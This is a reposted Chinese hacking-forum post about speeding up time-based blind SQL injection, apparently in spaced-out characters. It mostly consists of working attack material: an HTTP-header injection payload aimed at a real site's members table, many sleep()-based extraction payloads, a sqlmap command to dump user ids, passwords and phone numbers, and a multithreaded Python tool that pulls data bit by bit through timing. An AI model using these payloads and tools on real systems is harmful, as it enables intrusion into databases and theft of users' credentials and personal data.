搜索

[26572] 2015-11-18_二进制突破延时注入！

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-19
2015-11-18_二进制突破延时注入！ 二 进 制 突 破 延 时 注 入 ！ k e i o   m o o n s e c   2 0 1 5 - 1 1 - 1 8 之 前 F r e e b u f 出 了 个 视 频 关 于 二 进 制 突 破 延 时 注 入 地 址 ：   h t t p : / / o p e n . f r e e b u f . c o m / i n l a n d / 5 7 4 . h t m l
我 之 前 遇 到 个   h t t p 头 注 入 的   延 时 注 入 ， 那 个 跑 数 据 实 在 是 太 慢 了 ！ 这 个 站 已 经 弄 完 了 X - f o r w a r d e d - f o r :   i f ( n o w ( ) = s y s d a t e ( ) , s l e e p ( 0 ) , 0 ) / '   A N D   ( S E L E C T   *   F R O M   ( S E L E C T ( S L E E P ( 5 - ( I F ( O R D ( M I D ( ( S E L E C T   I F N U L L ( C A S T ( i d   A S   C H A R ) , 0 x 2 0 )   F R O M   a t o z . m e m b e r s   O R D E R   B Y   i d   L I M I T   0 , 1 ) , 5 , 1 ) ) > 6 4 , 0 , 5 ) ) ) ) ) E i b l )   A N D   ' f q F p ' = ' f q F p ' X O R ( i f ( n o w ( ) = s y s d a t e ( ) , s l e e p ( 0 ) , 0 ) ) O R ' " X O R ( i f ( n o w ( ) = s y s d a t e ( ) , s l e e p ( 0 ) , 0 ) ) O R " / 遇 到 延 时 注 入   还 是 h t t p 头   还 真 不 是 很 好 弄   软 件 除 开 s q l m a p 其 他 的 还 没 看 到 比 较 好 用 快 速 的 ！ ！ 这 是 评 论 截 取 下 来 的   看 了 这 种 方 法 ， 其 实 和 传 统 延 时 注 入 ， 最 大 的 区 别 就 是 ， 这 种 方 式 获 取 一 个 字 符 ， 可 以 利 用 多 线 程 一 次 将 包 发 送 出 去 ， 在 程 序 中 判 断 每 一 个 包 是 否 有 延 时 ， 在 组 成 二 进 制 ， 然 后 转 换 成 字 符 ， 而 传 统 延 时 注 入 利 用 二 分 法 （ 半 折 算 法 ） 只 能 使 用 单 线 程 去 获 取 值 ， 因 为 只 有 判 断 出 了 a s c i i 码 的 值 的 区 间 了 才 能 继 续 往 下 判 断 ， 这 样 就 利 用 多 线 程 赢 得 了 大 量 的 时 间 。 如 果 考 虑 两 种 方 法 都 是 单 线 程 的 状 态 下 ， 其 实 差 距 不 大 。 计 算 如 下 ： 单 线 程 方 式 通 常 二 分 法 确 定 一 个 字 符 的 值 平 均 发 包 次 数 在 8 次 左 右 （ 常 见 a s c i i 码 范 围 0 - 1 2 7 ， 6 4 - 3 2 - 1 6 - 8 - 4 - 2 - 1 ） 在 8 次 请 求 中 ， 判 断 需 要 延 时 的 次 数 ， 平 均 在 3 到 4 次 左 右 ， 延 时 时 间 按 照 2 秒 计 算 ， 忽 略 每 次 发 包 需 要 的 时 间 。 那 么 传 统 算 法 总 时 间 = 4 * 2 s = 8 秒 。 二 进 制 延 时 算 法 ， 出 现 1 的 次 数 一 般 在 2 到 4 次 ， 按 照 平 均 值 计 算 ， 所 以 总 时 间 = 3 * 2 s = 6 秒 。 区 别 在 与 ， 用 二 进 制 延 时 的 发 ， 需 要 延 时 的 次 数 减 少 ， 所 以 速 度 较 快 。 所 以 在 单 线 程 上 实 际 上 没 有 特 别 明 显 的 优 势 ， 优 势 体 现 在 多 线 程 上 。 其 实 还 有 一 种 算 法 ， 但 是 得 考 累 网 络 环 境 较 好 ， 每 次 发 包 响 应 的 时 间 非 常 良 好 ， 这 中 方 式 更 有 优 势 A s c i i 码 的 范 围 在 0 - 1 2 7 ， 通 常 是 3 位 ， 可 以 截 取 每 一 位 来 判 断 ， 那 每 一 位 范 围 在 0 到 9 ， 使 用 1 0 个 线 程 同 时 发 包 ， 其 中 只 有 一 个 线 程 会 延 时 s e l e c t   *   f r o m   n e w s   w h e r e   i d = 1   a n d   i f ( ( s u b s t r ( a s c i i ( ‘ a ’ ) , 1 , 1 ) = 1 ) , s l e e p ( 2 ) , 0 ) 那 么 判 断 一 个 字 符 的 值 ， 通 过 a s c i i 码 方 式 判 断 ， 最 多 只 需 要 3 0 个 包 就 能 判 断 出 来 ， 如 果 1 0 个 线 程 那 么 不 考 虑 发 包 时 间 ， 延 时 3 次 在 6 秒 左 右 ， 如 果 3 0 个 线 程 那 么 只 需 要 最 多 两 秒 。 如 果 a s c i i 码 是 两 位 数 那 么 更 快 。 和 二 进 制 延 时 谁 更 好 ， 有 待 研 究 。 注 ： 上 述 方 式 都 没 有 考 类 中 文 值 的 情 况 。 s e l e c t   *   f r o m   n e w s   w h e r e   i d = 1   a n d   i f ( ( s u b s t r ( a s c i i ( ‘ a ’ ) , 1 , 1 ) = 0 ) , s l e e p ( 2 ) , 0 ) s e l e c t   *   f r o m   n e w s   w h e r e   i d = 1   a n d   i f ( ( s u b s t r ( a s c i i ( ‘ a ’ ) , 1 , 1 ) = 1 ) , s l e e p ( 2 ) , 0 ) s e l e c t   *   f r o m   n e w s   w h e r e   i d = 1   a n d   i f ( ( s u b s t r ( a s c i i ( ‘ a ’ ) , 1 , 1 ) = 2 ) , s l e e p ( 2 ) , 0 ) s e l e c t   *   f r o m   n e w s   w h e r e   i d = 1   a n d   i f ( ( s u b s t r ( a s c i i ( ‘ a ’ ) , 1 , 1 ) = 3 ) , s l e e p ( 2 ) , 0 ) s e l e c t   *   f r o m   n e w s   w h e r e   i d = 1   a n d   i f ( ( s u b s t r ( a s c i i ( ‘ a ’ ) , 1 , 1 ) = 4 ) , s l e e p ( 2 ) , 0 ) s e l e c t   *   f r o m   n e w s   w h e r e   i d = 1   a n d   i f ( ( s u b s t r ( a s c i i ( ‘ a ’ ) , 1 , 1 ) = 5 ) , s l e e p ( 2 ) , 0 ) s e l e c t   *   f r o m   n e w s   w h e r e   i d = 1   a n d   i f ( ( s u b s t r ( a s c i i ( ‘ a ’ ) , 1 , 1 ) = 6 ) , s l e e p ( 2 ) , 0 ) s e l e c t   *   f r o m   n e w s   w h e r e   i d = 1   a n d   i f ( ( s u b s t r ( a s c i i ( ‘ a ’ ) , 1 , 1 ) = 7 ) , s l e e p ( 2 ) , 0 ) s e l e c t   *   f r o m   n e w s   w h e r e   i d = 1   a n d   i f ( ( s u b s t r ( a s c i i ( ‘ a ’ ) , 1 , 1 ) = 8 ) , s l e e p ( 2 ) , 0 ) s e l e c t   *   f r o m   n e w s   w h e r e   i d = 1   a n d   i f ( ( s u b s t r ( a s c i i ( ‘ a ’ ) , 1 , 1 ) = 9 ) , s l e e p ( 2 ) , 0 ) s e l e c t   *   f r o m   n e w s   w h e r e   i d = 1   a n d   i f ( ( s u b s t r ( a s c i i ( ‘ a ’ ) , 2 , 1 ) = 0 ) , s l e e p ( 2 ) , 0 )
s e l e c t   *   f r o m   n e w s   w h e r e   i d = 1   a n d   i f ( ( s u b s t r ( a s c i i ( ‘ a ’ ) , 2 , 1 ) = 1 ) , s l e e p ( 2 ) , 0 ) s e l e c t   *   f r o m   n e w s   w h e r e   i d = 1   a n d   i f ( ( s u b s t r ( a s c i i ( ‘ a ’ ) , 2 , 1 ) = 2 ) , s l e e p ( 2 ) , 0 ) s e l e c t   *   f r o m   n e w s   w h e r e   i d = 1   a n d   i f ( ( s u b s t r ( a s c i i ( ‘ a ’ ) , 2 , 1 ) = 3 ) , s l e e p ( 2 ) , 0 ) s e l e c t   *   f r o m   n e w s   w h e r e   i d = 1   a n d   i f ( ( s u b s t r ( a s c i i ( ‘ a ’ ) , 2 , 1 ) = 4 ) , s l e e p ( 2 ) , 0 ) s e l e c t   *   f r o m   n e w s   w h e r e   i d = 1   a n d   i f ( ( s u b s t r ( a s c i i ( ‘ a ’ ) , 2 , 1 ) = 5 ) , s l e e p ( 2 ) , 0 ) s e l e c t   *   f r o m   n e w s   w h e r e   i d = 1   a n d   i f ( ( s u b s t r ( a s c i i ( ‘ a ’ ) , 2 , 1 ) = 6 ) , s l e e p ( 2 ) , 0 ) s e l e c t   *   f r o m   n e w s   w h e r e   i d = 1   a n d   i f ( ( s u b s t r ( a s c i i ( ‘ a ’ ) , 2 , 1 ) = 7 ) , s l e e p ( 2 ) , 0 ) s e l e c t   *   f r o m   n e w s   w h e r e   i d = 1   a n d   i f ( ( s u b s t r ( a s c i i ( ‘ a ’ ) , 2 , 1 ) = 8 ) , s l e e p ( 2 ) , 0 ) s e l e c t   *   f r o m   n e w s   w h e r e   i d = 1   a n d   i f ( ( s u b s t r ( a s c i i ( ‘ a ’ ) , 2 , 1 ) = 9 ) , s l e e p ( 2 ) , 0 ) s e l e c t   *   f r o m   n e w s   w h e r e   i d = 1   a n d   i f ( ( s u b s t r ( a s c i i ( ‘ a ’ ) , 3 , 1 ) = 0 ) , s l e e p ( 2 ) , 0 ) s e l e c t   *   f r o m   n e w s   w h e r e   i d = 1   a n d   i f ( ( s u b s t r ( a s c i i ( ‘ a ’ ) , 3 , 1 ) = 1 ) , s l e e p ( 2 ) , 0 ) s e l e c t   *   f r o m   n e w s   w h e r e   i d = 1   a n d   i f ( ( s u b s t r ( a s c i i ( ‘ a ’ ) , 3 , 1 ) = 2 ) , s l e e p ( 2 ) , 0 ) s e l e c t   *   f r o m   n e w s   w h e r e   i d = 1   a n d   i f ( ( s u b s t r ( a s c i i ( ‘ a ’ ) , 3 , 1 ) = 3 ) , s l e e p ( 2 ) , 0 ) s e l e c t   *   f r o m   n e w s   w h e r e   i d = 1   a n d   i f ( ( s u b s t r ( a s c i i ( ‘ a ’ ) , 3 , 1 ) = 4 ) , s l e e p ( 2 ) , 0 ) s e l e c t   *   f r o m   n e w s   w h e r e   i d = 1   a n d   i f ( ( s u b s t r ( a s c i i ( ‘ a ’ ) , 3 , 1 ) = 5 ) , s l e e p ( 2 ) , 0 ) s e l e c t   *   f r o m   n e w s   w h e r e   i d = 1   a n d   i f ( ( s u b s t r ( a s c i i ( ‘ a ’ ) , 3 , 1 ) = 6 ) , s l e e p ( 2 ) , 0 ) s e l e c t   *   f r o m   n e w s   w h e r e   i d = 1   a n d   i f ( ( s u b s t r ( a s c i i ( ‘ a ’ ) , 3 , 1 ) = 7 ) , s l e e p ( 2 ) , 0 ) s e l e c t   *   f r o m   n e w s   w h e r e   i d = 1   a n d   i f ( ( s u b s t r ( a s c i i ( ‘ a ’ ) , 3 , 1 ) = 8 ) , s l e e p ( 2 ) , 0 ) s e l e c t   *   f r o m   n e w s   w h e r e   i d = 1   a n d   i f ( ( s u b s t r ( a s c i i ( ‘ a ’ ) , 3 , 1 ) = 9 ) , s l e e p ( 2 ) , 0 ) 如 果 出 现 是 h t t p 头 注 入   还 需 要 c o o k i e s   这 种 ！ 我 自 己 当 时 采 取 的 只 能 s q l m a p 的   就 是 多 租 几 个 v p s 分 段 跑 ！ ！ s q l m a p . p y   - r   1 . t x t   - - d b m s   m y s q l   - - b a t c h   - - d u m p   - C   i d , p w , p h o n e   - T   m e m b e r s   - - t h r e a d = 5   - - s t a r t = 2 5 0   - - s t o p = 4 0 0   - - d e l a y = 0 . 3 下 面 是 别 人 写   的 二 进 制 突 破 延 时 注 入 d e m o ！ ！ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 不 带 c o o k i e s 和 p o s t 请 求 直 接 脚 本 - - - - # ! / u s r / b i n / e n v   p y t h o n #   - * -   c o d i n g :   u t f - 8   - * - #   @ A u t h o r :   L c y #   @ D a t e :   2 0 1 5 - 0 8 - 2 9   2 2 : 2 6 : 1 7 #   @ L a s t   M o d i f i e d   b y :   S u n s h i e #   @ L a s t   M o d i f i e d   t i m e :   2 0 1 5 - 0 8 - 3 0   0 1 : 4 8 : 4 1 #   b l o g : [ u r l = h t t p s : / / p h p i n f o . m e ] h t t p s : / / p h p i n f o . m e [ / u r l ] #   延 迟 注 入 工 具 i m p o r t   u r l l i b 2 i m p o r t   t i m e i m p o r t   s o c k e t i m p o r t   t h r e a d i n g i m p o r t   r e q u e s t s c l a s s   m y _ t h r e a d i n g ( t h r e a d i n g . T h r e a d ) : d e f   _ _ i n i t _ _ ( s e l f ,   s t r , x ) : t h r e a d i n g . T h r e a d . _ _ i n i t _ _ ( s e l f ) s e l f . s t r   =   s t r s e l f . x   =   x d e f   r u n ( s e l f ) : g l o b a l   r e s x = s e l f . x j   =   s e l f . s t r u r l   =   " h t t p : / / l o c a l h o s t / d e m o / 1 . p h p ? u s e r n a m e = r o o t ' + a n d + i f ( 1 = ( m i d ( l p a d ( b i n ( o r d ( m i d ( ( s e l e c t   u s e r ( ) ) , "   +   s t r ( x )   +   " , 1 ) ) ) , 8 , 0 ) , " +   s t r ( j )   + " , 1 ) ) , s l e e p ( 2 ) , 0 ) # " h t m l   =   r e q u e s t ( u r l ) v e r i f y   =   ' t i m e o u t ' i f   v e r i f y   n o t   i n   h t m l : r e s [ s t r ( j ) ]   =   0 # p r i n t   1 e l s e :
r e s [ s t r ( j ) ]   =   1 d e f   r e q u e s t ( U R L ) : u s e r _ a g e n t   =   {   ' U s e r - A g e n t '   :   ' M o z i l l a / 5 . 0   ( M a c i n t o s h ;   I n t e l   M a c   O S   X   1 0 _ 7 _ 3 )   A p p l e W e b K i t / 5 3 4 . 5 5 . 3   ( K H T M L ,   l i k e   G e c k o ) V e r s i o n / 5 . 1 . 3   S a f a r i / 5 3 4 . 5 3 . 1 0 '   } r e q   =   u r l l i b 2 . R e q u e s t ( U R L ,   N o n e ,   u s e r _ a g e n t ) t r y : r e q u e s t   =   u r l l i b 2 . u r l o p e n ( r e q , t i m e o u t = 2 ) e x c e p t   E x c e p t i o n   , e : t i m e . s l e e p ( 2 ) r e t u r n   ' t i m e o u t ' r e t u r n   r e q u e s t . r e a d ( ) d e f   c u r l ( u r l ) : t r y : s t a r t   =   t i m e . c l o c k ( ) r e q u e s t s . g e t ( u r l ) e n d   =   t i m e . c l o c k ( ) r e t u r n   i n t ( e n d ) e x c e p t   r e q u e s t s . R e q u e s t E x c e p t i o n   a s   e : p r i n t   u " 访 问 出 错 ! " e x i t ( ) d e f   g e t L e n g t h ( ) : i   =   0 w h i l e   T r u e : p r i n t   " [ + ]   C h e c k i n g :   % s   r "   % i u r l   =   " h t t p : / / l o c a l h o s t / d e m o / 1 . p h p ? u s e r n a m e = r o o t ' + a n d + s l e e p ( i f ( l e n g t h ( ( s e l e c t   u s e r ( ) ) ) = " +   s t r ( i )   + " , 1 , 0 ) ) # " h t m l   =   r e q u e s t ( u r l ) v e r i f y   =   ' t i m e o u t ' i f   v e r i f y   i n   h t m l : p r i n t   u " [ + ]   数 据 长 度 为 ：   % s "   % i r e t u r n   i i   =   i   +   1 d e f   b i n 2 d e c ( s t r i n g _ n u m ) : r e t u r n   i n t ( s t r i n g _ n u m ,   2 ) d e f   g e t D a t a ( d a t a L e n g t h ) : g l o b a l   r e s d a t a   =   " " f o r   x   i n   r a n g e ( d a t a L e n g t h ) : x   =   x   +   1 # p r i n t   x t h r e a d s   =   [ ] f o r   j   i n   r a n g e ( 8 ) : r e s u l t   =   " " j   =   j   +   1 s b   =   m y _ t h r e a d i n g ( j , x ) s b . s e t D a e m o n ( T r u e ) t h r e a d s . a p p e n d ( s b ) # p r i n t   j f o r   t   i n   t h r e a d s : t . s t a r t ( ) f o r   t   i n   t h r e a d s : t . j o i n ( ) # p r i n t   r e s
t m p   =   " " f o r   i   i n   r a n g e ( 8 ) : t m p   =   t m p   +   s t r ( r e s [ s t r ( i + 1 ) ] ) # p r i n t   c h r ( b i n 2 d e c ( t m p ) ) r e s   =   { } r e s u l t   =   c h r ( b i n 2 d e c ( t m p ) ) p r i n t   r e s u l t d a t a   =   d a t a   +   r e s u l t s b   =   N o n e p r i n t   " [ + ]   o k ! " p r i n t   " [ + ]   r e s u l t : "   +   d a t a i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' : s t o p   =   F a l s e r e s   =   { } l e n g t h   =   g e t L e n g t h ( ) g e t D a t a ( l e n g t h ) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - p y t h o n 使 用 u r l l i b 2 实 现 发 送 带 c o o k i e 的 请 求 。 。 具 体 实 现 方 法 如 下 ： i m p o r t   u r l l i b 2   o p e n e r   =   u r l l i b 2 . b u i l d _ o p e n e r ( )   o p e n e r . a d d h e a d e r s . a p p e n d ( ( ' C o o k i e ' , ' c o o k i e n a m e = c o o k i e v a l u e ' ) )   f   = o p e n e r . o p e n ( [ u r l ] h t t p : / / e x a m p l e . c o m / [ / u r l ] ) # ! / u s r / b i n / p y t h o n # c o d i n g = u t f - 8 i m p o r t   u r l l i b i m p o r t   u r l l i b 2 d e f   p o s t ( u r l ,   d a t a ) : r e q   =   u r l l i b 2 . R e q u e s t ( u r l ) d a t a   =   u r l l i b . u r l e n c o d e ( d a t a ) # e n a b l e   c o o k i e o p e n e r   =   u r l l i b 2 . b u i l d _ o p e n e r ( u r l l i b 2 . H T T P C o o k i e P r o c e s s o r ( ) ) r e s p o n s e   =   o p e n e r . o p e n ( r e q ,   d a t a ) r e t u r n   r e s p o n s e . r e a d ( ) d e f   m a i n ( ) : p o s t u r l   =   " h t t p : / / w w w . x i a m i . c o m / m e m b e r / l o g i n " d a t a   =   { ' e m a i l ' : ' m y e m a i l ' ,   ' p a s s w o r d ' : ' m y p a s s ' ,   ' a u t o l o g i n ' : ' 1 ' ,   ' s u b m i t ' : ' 登   录 ' ,   ' t y p e ' : ' ' } p r i n t   p o s t ( p o s t u r l ,   d a t a ) i f   _ _ n a m e _ _   = =   ' _ _ m a i n _ _ ' : m a i n ( ) f r o m h t t p s : / / f o r u m . 9 0 s e c . o r g / f o r u m . p h p ? m o d = v i e w t h r e a d & t i d = 8 9 2 3
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理